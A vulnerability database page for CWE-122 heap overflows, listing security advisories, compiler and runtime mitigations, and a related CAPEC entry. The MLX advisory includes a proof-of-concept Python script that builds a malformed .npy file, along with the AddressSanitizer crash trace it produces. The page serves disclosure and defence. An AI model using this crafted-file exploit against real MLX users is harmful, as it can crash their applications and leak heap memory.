Common Weakness Enumeration
CWE-122
AllowedHeap-based Buffer Overflow
Abstraction: Variant · Status: Draft
A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().
4096 vulnerabilities reference this CWE, most recent first.
GHSA-W6VG-JG77-2QG6
Vulnerability from github – Published: 2025-11-21 18:02 – Updated: 2026-06-06 00:33
VLAI
Summary
MLX has heap-buffer-overflow in load()
Details
Summary
Heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.
Environment: - OS: Ubuntu 20.04.6 LTS - Compiler: Clang 19.1.7
Vulnerability
The parser reads a 118-byte header from the file, but line 268 uses std::string(&buffer[0]) which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read header[34] without checking the length first, reading 13 bytes past the allocation.
Location: mlx/io/load.cpp:268,276
Bug #1 (line 268):
std::string header(&buffer[0]); // stops at first null byte
Bug #2 (line 276):
bool col_contiguous = header[34] == 'T'; // No bounds check
Possible Fix
// Line 268
std::string header(&buffer[0], header_len);
// Line 276
if (header.length() < 35) throw std::runtime_error("Malformed header");
PoC
pip install mlx
# generate exploit
cat > exploit.py << 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' * (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py
python3 -c "import mlx.core as mx; mx.load('exploit.npy')"
AddressSanitizer Output (with instrumented build):
=================================================================
==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48
READ of size 1 at 0x503000000152 thread T0
#0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25
#1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
#2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
#3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
#4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)
allocated by thread T0 here:
#0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
#1 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14
#2 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct_aux<char const*>(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11
#3 0x5633456956fe in void std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::_M_construct<char const*>(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4
#4 0x5633456956fe in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9
#5 0x5633456956fe in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:268:15
#6 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10
#7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20
#8 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>)
Shadow bytes around the buggy address:
0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00
0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
=>0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa
0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==3179==ABORTING
Impact
- Attack vector: Malicious
.npyfile (model weights, datasets, checkpoints) - Affects: MLX users on all platforms who call the vulnerable methods with unsanitized input.
- Result: Application crash + potential 13-byte heap leak
Credits: - Markiyan Melnyk (ARIMLABS) - Mykyta Mudryi (ARIMLABS) - Markiyan Chaklosh (ARIMLABS)
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.29.3"
},
"package": {
"ecosystem": "PyPI",
"name": "mlx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.29.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62608"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-21T18:02:38Z",
"nvd_published_at": "2025-11-21T19:16:02Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nHeap buffer overflow in `mlx::core::load()` when parsing malicious NumPy `.npy` files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.\n\nEnvironment:\n- OS: Ubuntu 20.04.6 LTS\n- Compiler: Clang 19.1.7\n\n## Vulnerability\n\nThe parser reads a 118-byte header from the file, but line 268 uses `std::string(\u0026buffer[0])` which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read `header[34]` without checking the length first, reading 13 bytes past the allocation.\n\n**Location**: `mlx/io/load.cpp:268,276`\n\n**Bug #1** (line 268):\n```cpp\nstd::string header(\u0026buffer[0]); // stops at first null byte\n```\n\n**Bug #2** (line 276):\n```cpp\nbool col_contiguous = header[34] == \u0027T\u0027; // No bounds check\n```\n\n## Possible Fix\n\n```cpp\n// Line 268\nstd::string header(\u0026buffer[0], header_len);\n\n// Line 276\nif (header.length() \u003c 35) throw std::runtime_error(\"Malformed header\");\n```\n\n## PoC\n\n```bash\npip install mlx\n\n# generate exploit\ncat \u003e exploit.py \u003c\u003c \u0027EOF\u0027\nimport struct\nmagic = b\u0027\\x93NUMPY\u0027\nversion = b\u0027\\x01\\x00\u0027\nheader = b\"{\u0027descr\u0027: \u0027\u003cu2\u0027, \u0027fo\\x00\\x00\\x00\\x00n_order\u0027: False, \u0027shape\u0027: (3,), }\"\nheader += b\u0027 \u0027 * (118 - len(header) - 1) + b\u0027\\n\u0027\nwith open(\u0027exploit.npy\u0027, \u0027wb\u0027) as f:\n f.write(magic + version + struct.pack(\u0027\u003cH\u0027, 118) + header + b\u0027\\x00\\x00\\x00\\x80\\xff\\xff\u0027)\nEOF\npython3 exploit.py\n\npython3 -c \"import mlx.core as mx; mx.load(\u0027exploit.npy\u0027)\"\n```\n\n**AddressSanitizer Output (with instrumented build)**:\n```\n=================================================================\n==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48\nREAD of size 1 at 0x503000000152 thread T0\n #0 0x563345697c28 in mlx::core::load(std::shared_ptr\u003cmlx::core::io::Reader\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e) /home/user1/mlx/mlx/io/load.cpp:276:25\n #1 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e) /home/user1/mlx/mlx/io/load.cpp:328:10\n #2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20\n #3 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #4 0x563342e1f1cd in _start (/home/user1/mlx/fuzz/load/poc_crash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)\n\n0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145)\nallocated by thread T0 here:\n #0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poc_crash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)\n #1 0x5633456956fe in void std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e::_M_construct\u003cchar const*\u003e(char const*, char const*, std::forward_iterator_tag) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.tcc:219:14\n #2 0x5633456956fe in void std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e::_M_construct_aux\u003cchar const*\u003e(char const*, char const*, std::__false_type) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:251:11\n #3 0x5633456956fe in void std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e::_M_construct\u003cchar const*\u003e(char const*, char const*) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:270:4\n #4 0x5633456956fe in std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e::basic_string\u003cstd::allocator\u003cchar\u003e\u003e(char const*, std::allocator\u003cchar\u003e const\u0026) /usr/lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/basic_string.h:531:9\n #5 0x5633456956fe in mlx::core::load(std::shared_ptr\u003cmlx::core::io::Reader\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e) /home/user1/mlx/mlx/io/load.cpp:268:15\n #6 0x563345698da1 in mlx::core::load(std::__cxx11::basic_string\u003cchar, std::char_traits\u003cchar\u003e, std::allocator\u003cchar\u003e\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e) /home/user1/mlx/mlx/io/load.cpp:328:10\n #7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poc_crash.cpp:69:20\n #8 0x7fbd4692c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr\u003cmlx::core::io::Reader\u003e, std::variant\u003cstd::monostate, mlx::core::Stream, mlx::core::Device\u003e)\nShadow bytes around the buggy address:\n 0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00\n 0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa\n=\u003e0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa\n 0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07\n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n==3179==ABORTING\n```\n\n## Impact\n\n- **Attack vector**: Malicious `.npy` file (model weights, datasets, checkpoints)\n- **Affects**: MLX users on all platforms who call the vulnerable methods with unsanitized input.\n- **Result**: Application crash + potential 13-byte heap leak\n\n\n---\n\nCredits:\n- Markiyan Melnyk (ARIMLABS)\n- Mykyta Mudryi (ARIMLABS)\n- Markiyan Chaklosh (ARIMLABS)",
"id": "GHSA-w6vg-jg77-2qg6",
"modified": "2026-06-06T00:33:52Z",
"published": "2025-11-21T18:02:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ml-explore/mlx/security/advisories/GHSA-w6vg-jg77-2qg6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62608"
},
{
"type": "WEB",
"url": "https://github.com/ml-explore/mlx/pull/1"
},
{
"type": "WEB",
"url": "https://github.com/ml-explore/mlx/pull/2"
},
{
"type": "PACKAGE",
"url": "https://github.com/ml-explore/mlx"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mlx/PYSEC-2025-138.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "MLX has heap-buffer-overflow in load()"
}
GHSA-W6VR-9FPH-GM3V
Vulnerability from github – Published: 2026-05-29 00:38 – Updated: 2026-05-29 18:31
VLAI
Details
Heap buffer overflow in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)
Severity
8.3 (High)
{
"affected": [],
"aliases": [
"CVE-2026-9915"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-28T23:16:49Z",
"severity": "HIGH"
},
"details": "Heap buffer overflow in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-w6vr-9fph-gm3v",
"modified": "2026-05-29T18:31:24Z",
"published": "2026-05-29T00:38:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9915"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/500063836"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W6XV-37JV-7CJR
Vulnerability from github – Published: 2024-01-09 18:30 – Updated: 2024-06-10 18:30
VLAI
Details
Windows Libarchive Remote Code Execution Vulnerability
Severity
7.3 (High)
{
"affected": [],
"aliases": [
"CVE-2024-20697"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-09T18:15:53Z",
"severity": "HIGH"
},
"details": "Windows Libarchive Remote Code Execution Vulnerability",
"id": "GHSA-w6xv-37jv-7cjr",
"modified": "2024-06-10T18:30:51Z",
"published": "2024-01-09T18:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20697"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-w6xv-37jv-7cjr"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-20697"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/blog/2024/4/17/cve-2024-20697-windows-libarchive-remote-code-execution-vulnerability"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/06/04/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/06/05/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W74M-FCHP-7MQ8
Vulnerability from github – Published: 2022-05-13 01:12 – Updated: 2022-05-13 01:12
VLAI
Details
A vulnerability has been identified in RFID 181EIP (All versions), RUGGEDCOM Win (V4.4, V4.5, V5.0, and V5.1), SCALANCE X-200 switch family (incl. SIPLUS NET variants) (All versions < V5.2.3), SCALANCE X-200IRT switch family (incl. SIPLUS NET variants) (All versions < V5.4.1), SCALANCE X-200RNA switch family (All versions < V3.2.6), SCALANCE X-300 switch family (incl. SIPLUS NET variants) (All versions < V4.1.3), SCALANCE X408 (All versions < V4.1.3), SCALANCE X414 (All versions), SIMATIC RF182C (All versions). Unprivileged remote attackers located in the same local network segment (OSI Layer 2) could gain remote code execution on the affected products by sending a specially crafted DHCP response to a client's DHCP request.
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2018-4833"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-14T16:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in RFID 181EIP (All versions), RUGGEDCOM Win (V4.4, V4.5, V5.0, and V5.1), SCALANCE X-200 switch family (incl. SIPLUS NET variants) (All versions \u003c V5.2.3), SCALANCE X-200IRT switch family (incl. SIPLUS NET variants) (All versions \u003c V5.4.1), SCALANCE X-200RNA switch family (All versions \u003c V3.2.6), SCALANCE X-300 switch family (incl. SIPLUS NET variants) (All versions \u003c V4.1.3), SCALANCE X408 (All versions \u003c V4.1.3), SCALANCE X414 (All versions), SIMATIC RF182C (All versions). Unprivileged remote attackers located in the same local network segment (OSI Layer 2) could gain remote code execution on the affected products by sending a specially crafted DHCP response to a client\u0027s DHCP request.",
"id": "GHSA-w74m-fchp-7mq8",
"modified": "2022-05-13T01:12:19Z",
"published": "2022-05-13T01:12:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-4833"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-181018.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W784-X6V6-Q82V
Vulnerability from github – Published: 2024-12-12 03:33 – Updated: 2024-12-12 03:33
VLAI
Details
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
Severity
7.2 (High)
{
"affected": [],
"aliases": [
"CVE-2024-49089"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-12T02:04:34Z",
"severity": "HIGH"
},
"details": "Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability",
"id": "GHSA-w784-x6v6-q82v",
"modified": "2024-12-12T03:33:05Z",
"published": "2024-12-12T03:33:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49089"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49089"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W7GH-W2WX-25M6
Vulnerability from github – Published: 2024-10-08 18:33 – Updated: 2024-10-08 18:33
VLAI
Details
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2024-43607"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-08T18:15:28Z",
"severity": "HIGH"
},
"details": "Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability",
"id": "GHSA-w7gh-w2wx-25m6",
"modified": "2024-10-08T18:33:17Z",
"published": "2024-10-08T18:33:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43607"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43607"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W8GR-FPP3-XWVP
Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-02-10 18:30
VLAI
Details
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2026-21245"
],
"database_specific": {
"cwe_ids": [
"CWE-122",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-10T18:16:25Z",
"severity": "HIGH"
},
"details": "Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-w8gr-fpp3-xwvp",
"modified": "2026-02-10T18:30:41Z",
"published": "2026-02-10T18:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21245"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21245"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W8M2-6GH7-V2MJ
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-12 18:30
VLAI
Details
Heap-based buffer overflow in Windows GDI allows an unauthorized attacker to execute code locally.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2026-35421"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T18:17:12Z",
"severity": "HIGH"
},
"details": "Heap-based buffer overflow in Windows GDI allows an unauthorized attacker to execute code locally.",
"id": "GHSA-w8m2-6gh7-v2mj",
"modified": "2026-05-12T18:30:44Z",
"published": "2026-05-12T18:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35421"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35421"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W8WG-643Q-C36V
Vulnerability from github – Published: 2025-01-14 18:32 – Updated: 2025-01-14 18:32
VLAI
Details
Windows Telephony Service Remote Code Execution Vulnerability
Severity
8.8 (High)
{
"affected": [],
"aliases": [
"CVE-2025-21305"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-14T18:15:53Z",
"severity": "HIGH"
},
"details": "Windows Telephony Service Remote Code Execution Vulnerability",
"id": "GHSA-w8wg-643q-c36v",
"modified": "2025-01-14T18:32:04Z",
"published": "2025-01-14T18:32:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21305"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21305"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W97H-3QHC-MGCW
Vulnerability from github – Published: 2025-09-09 21:30 – Updated: 2025-09-09 21:30
VLAI
Details
Substance3D - Viewer versions 0.25.1 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2025-54244"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T21:15:37Z",
"severity": "HIGH"
},
"details": "Substance3D - Viewer versions 0.25.1 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
"id": "GHSA-w97h-3qhc-mgcw",
"modified": "2025-09-09T21:30:31Z",
"published": "2025-09-09T21:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54244"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/substance3d-viewer/apsb25-89.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Pre-design: Use a language or compiler that performs automatic bounds checking.
Mitigation
Architecture and Design
Use an abstraction library to abstract away risky APIs. Not a complete solution.
Mitigation MIT-10
Operation
Build and Compilation
Strategy: Environment Hardening
- Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
- D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-11
Operation
Build and Compilation
Strategy: Environment Hardening
- Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
- Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
- For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation
Implementation
Implement and perform bounds checking on input.
Mitigation
Implementation
Strategy: Libraries or Frameworks
Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.
Mitigation
Operation
Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.
CAPEC-92: Forced Integer Overflow
This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.